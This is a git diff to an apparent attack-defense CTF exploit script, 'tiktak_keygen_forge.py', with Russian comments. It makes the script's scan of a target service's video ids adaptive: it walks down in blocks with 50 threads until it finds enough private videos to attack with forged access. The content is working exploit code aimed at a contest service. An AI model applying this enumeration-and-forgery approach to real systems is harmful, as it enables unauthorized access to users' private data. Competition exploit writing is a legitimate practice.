diff --git a/sploits/tiktak_keygen_forge.py b/sploits/tiktak_keygen_forge.py index 2bb1495..faad8bf 100755 --- a/sploits/tiktak_keygen_forge.py +++ b/sploits/tiktak_keygen_forge.py @@ -16,7 +16,9 @@ USER_AGENTS = [ ] PORT = 5000 -DEPTH = 3000 # id растут ~500/мин из-за флуда, приватные тонут глубоко +BLOCK = 2000 # сканируем блоками, выходим как только набрали целей +MAX_DEPTH = 14000 # на быстрых боксах id растут >1000/мин +WANT_TARGETS = 6 # столько приватных достаточно, чтобы не жечь раунд WORKERS = 50 MAX_FORGE_FAILS = 6 # столько подряд отказов /access => команда запатчена WATCH_RX = re.compile(r"/watch/(\d+)") @@ -96,11 +98,19 @@ def exploit(target_ip): except requests.RequestException: return None - span = range(top, max(0, top - DEPTH), -1) + # Скорость роста id сильно разная: где-то 500/мин, где-то за 1000/мин, + # и приватные чекера уходят вглубь на тысячи. Идём блоками сверху вниз + # и останавливаемся, как только набрали достаточно целей. + private = [] with ThreadPoolExecutor(max_workers=WORKERS) as ex: - private = [v for v in ex.map(is_private, span) if v] + for lo in range(top, max(0, top - MAX_DEPTH), -BLOCK): + span = range(lo, max(0, lo - BLOCK), -1) + private.extend(v for v in ex.map(is_private, span) if v) + if len(private) >= WANT_TARGETS: + break private.sort(reverse=True) - print(f"[*] {target_ip}: top={top}, приватных найдено {len(private)}", + print(f"[*] {target_ip}: top={top}, приватных найдено {len(private)} " + f"(глубина до {top - min(private) if private else 0})", file=sys.stderr, flush=True) fails = 0